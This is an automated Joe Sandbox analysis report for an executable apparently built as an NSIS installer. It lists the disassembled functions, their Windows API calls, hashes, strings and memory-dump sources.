String ID: C:\Users\user\AppData\Local\Temp\nsqA869.tmp$C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll
API String ID: 3109718747-3005640722
Opcode ID: 07d53d2b07502590e3e1b39d6501f1557fe553bf4e29e33a0fbec8c4be15c9f1
Instruction ID: 59cf546ef3811be8ee7c727c8e5eea11e2141b44b9e391d5d171073bbb1e77e0
Opcode Fuzzy Hash: 07d53d2b07502590e3e1b39d6501f1557fe553bf4e29e33a0fbec8c4be15c9f1
Instruction Fuzzy Hash: F611EB72A01204BEDB146FB18E8EA9F77659F45398F20453BF102F61C1DAFC89415B5E

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: fe7133a2f93821227e3a7e703367dd144469a15fe8ff947d0f1e508e715dc704
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: fe7133a2f93821227e3a7e703367dd144469a15fe8ff947d0f1e508e715dc704
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00401DB3 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DB6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD0
MulDiv.KERNEL32(00000000,00000000), ref: 00401DD8
ReleaseDC.USER32(?,00000000), ref: 00401DE9
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E38

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 8f9191b43f1087fd91e2bc6620e9991732759c8a76e5fb6f86f4dddf7fac1548
Instruction ID: 8058adb7fc53f801c03006c9ef56a62efa99793a140a93f16ed6c143b7d909dc
Opcode Fuzzy Hash: 8f9191b43f1087fd91e2bc6620e9991732759c8a76e5fb6f86f4dddf7fac1548
Instruction Fuzzy Hash: 9A015271944240EFE701ABB4AE8A6D97FB49F95301F10457EE241F61E2CAB800459F2D

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401D57 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D5D
GetClientRect.USER32(00000000,?), ref: 00401D6A
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D8B
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D99
DeleteObject.GDI32(00000000), ref: 00401DA8

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 9ccf06a462700f0ed3a97b5983b11f9e7e1ee2bcf46f86b5230f61e7ee9921c4
Instruction ID: face61d34558c4de7c2b3a6e9a6cb1e1a296a7661f17e088ac2b3614559d71e0
Opcode Fuzzy Hash: 9ccf06a462700f0ed3a97b5983b11f9e7e1ee2bcf46f86b5230f61e7ee9921c4
Instruction Fuzzy Hash: 2DF0FF72604518AFDB01DBE4DF88CEEB7BCEB48341B14047AF641F6191CA749D019B78

Function 00401C19 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1

Strings

!, xrefs: 00401C55

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: d3cd4e237e97a83a370d1370055c4bdc9f0797550a95890627c0fc6a79ec6b1b
Instruction ID: 74a91dccfe9731269d403f92625f9bdea7e35384dcad0b9637cdbdb8d435ba20
Opcode Fuzzy Hash: d3cd4e237e97a83a370d1370055c4bdc9f0797550a95890627c0fc6a79ec6b1b
Instruction Fuzzy Hash: 4D21C171948209AEEF05AFA5CE4AABE7BB4EF84308F14443EF502B61D0D7B84541DB18

Function 00404AA2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B43
wsprintfW.USER32 ref: 00404B4C
SetDlgItemTextW.USER32(?,0042D248), ref: 00404B5F

Strings

%u.%u%s%s, xrefs: 00404B2D

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c9a6e7e492f6bdeefc1d450629950baf89c1ca8cbbe940ede2bd0e57b0caaae8
Instruction ID: a69b8d9c405cb410f429d1b91b3aaf5cd8934f07bb3ea9cf38393447591b3b6c
Opcode Fuzzy Hash: c9a6e7e492f6bdeefc1d450629950baf89c1ca8cbbe940ede2bd0e57b0caaae8
Instruction Fuzzy Hash: EA11EB736041283BDB00A66DDC42E9F369CDB81338F154237FA66F21D1D9B8D82146E8

Function 00405B53 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403360,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00405B59
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403360,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF,?,00000006,00000008,0000000A), ref: 00405B63
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405B75

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B53

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction ID: 33d5b4b63083ad43afaa288e046e1f08ed21b79f7f5b9eb46acb358563388364
Opcode Fuzzy Hash: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction Fuzzy Hash: 86D05E31101924AAC121BB549C04DDF63ACAE86304342087AF541B20A5C77C296286FD

Function 00402E5D Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040303D,00000001,?,00000006,00000008,0000000A), ref: 00402E70
GetTickCount.KERNEL32 ref: 00402E8E
CreateDialogParamW.USER32(0000006F,00000000,00402DD7,00000000), ref: 00402EAB
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402EB9

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 081ae59ec46762087058598088bc932b8811e33f16b6ee3d01574ac3e4d85d66
Instruction ID: fb236cf74f4011b48551144809540ae7a3d608603197ef92b98d1837a73ee17d
Opcode Fuzzy Hash: 081ae59ec46762087058598088bc932b8811e33f16b6ee3d01574ac3e4d85d66
Instruction Fuzzy Hash: BDF05E30941620EBC6316B20FF0DA9B7B69BB44B42745497AF441B19E8C7B44881CBDC

Function 004038FB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,74DF3420,004038D3,004036E9,00000006,?,00000006,00000008,0000000A), ref: 00403915
GlobalFree.KERNEL32(?), ref: 0040391C

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040390D

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 458fb59c7289fd05ef48150b7000eed9d6dd19151a6e1d3204a1ea3f1dd8076b
Instruction ID: e66732d9f8c7dde22b06ec40e1a6716a7c13e86cf839674f34118547447e98ef
Opcode Fuzzy Hash: 458fb59c7289fd05ef48150b7000eed9d6dd19151a6e1d3204a1ea3f1dd8076b
Instruction Fuzzy Hash: 95E012739019209BC6215F55ED08B5E7B68AF58B22F05447AE9807B26087B45C929BD8

Function 00405B9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\450707124374000811.exe,C:\Users\user\Desktop\450707124374000811.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BA5
CharPrevW.USER32(?,00000000,?,C:\Users\user\Desktop,00402F2D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\450707124374000811.exe,C:\Users\user\Desktop\450707124374000811.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405BB5

Strings

C:\Users\user\Desktop, xrefs: 00405B9F

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction ID: a8af4f0e04a9cb416ac945bb8770274a79718c16fb62e87aa8b604c5d62251ee
Opcode Fuzzy Hash: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction Fuzzy Hash: D5D05EB24019209AD3126B08DC00DAF73A8EF5230074A48AAE841A6165D7B87D8186AC

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2482263763.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2482210897.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482282589.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2482380281.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_450707124374000811.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405CD9 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CE9
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D01
CharNextA.USER32(00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D12
lstrlenA.KERNEL32(00000000,?,00000000,00405FC2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D1B

Memory Dump Source

Source File: 00000000.00000002.2467502248.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2467488389.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467525921.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467545091.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2467643039.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_450707124374000811.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: eb4b2eb4961b7d09ea4a34ed08b3b50e56f073c3670a6d3e208c08a45fec6953
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: 10F0F631204918FFD7029FA4DD0499FBBA8EF16350B2580BAE840FB211D674DE01AB98

Analysis Process: 450707124374000811.exePID: 1060, Parent PID: 6640COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	77.9%
Total number of Nodes:	1499
Total number of Limit Nodes:	8

Executed Functions

Function 359635C0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 359635CA

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e51632cab30350cbb4cf8346960018dd439f3e22e24f671b3252c1904115022c
Instruction ID: 8bce4fc2442dcc1b5d25b6f0e2085c6ad2b1d0fce0f452f141d8ab1bb554ee93
Opcode Fuzzy Hash: e51632cab30350cbb4cf8346960018dd439f3e22e24f671b3252c1904115022c
Instruction Fuzzy Hash: 27900232605A0402D1047158451870610194BD0201FA5C4A3A0424528DC7998A5565A2

Function 35962DF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 35962DFA

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 84a37b5ddd9d315022bd70b943bbc3efd3f96b2693cdd9138f0fa0ac1ad97700
Instruction ID: 4b5a8c86b0907afc9153f2205724e8fff3677d5fcdab8880de2b1a69ef9d8888
Opcode Fuzzy Hash: 84a37b5ddd9d315022bd70b943bbc3efd3f96b2693cdd9138f0fa0ac1ad97700
Instruction Fuzzy Hash: FE90023220190413D11571584508707001D4BD0241FD5C4A3A0424518DD65A8A56A121

Non-executed Functions

Function 359C94E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 359C9688
RtlDebugPrintTimes.NTDLL ref: 359C9727
RtlDebugPrintTimes.NTDLL ref: 359C9807
RtlDebugPrintTimes.NTDLL ref: 359C98E5
RtlDebugPrintTimes.NTDLL ref: 359C99EA
RtlDebugPrintTimes.NTDLL ref: 359C9A81
RtlDebugPrintTimes.NTDLL ref: 359C9B94
RtlDebugPrintTimes.NTDLL ref: 359C9CFC

Strings

, xrefs: 359C9AD7
, xrefs: 359C9B84
0, xrefs: 359C9BF6

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $ $0
API String ID: 3446177414-3352262554
Opcode ID: 9c3b12ebbf37b7f7537061ff775418f3cdba84e88978f404e45a49c1bdea1c22
Instruction ID: 2a17cafe817463cabb465590ccb5af3460cc349710e105473758d8d712fab87a
Opcode Fuzzy Hash: 9c3b12ebbf37b7f7537061ff775418f3cdba84e88978f404e45a49c1bdea1c22
Instruction Fuzzy Hash: BA3203B16083818FE350CF68C984B5BFBF9BB88344F04496DF59987290DBB5E949CB52

Function 359CF525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 359CF556

Strings

Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 359CF7BE
Just allocated block at %p for %Ix bytes, xrefs: 359CF708
HEAP[%wZ]: , xrefs: 359CF6E7, 359CF794, 359CF7EB
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 359CF809
HEAP: , xrefs: 359CF6F4, 359CF7A1, 359CF7F8
RtlAllocateHeap, xrefs: 359CF56D

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
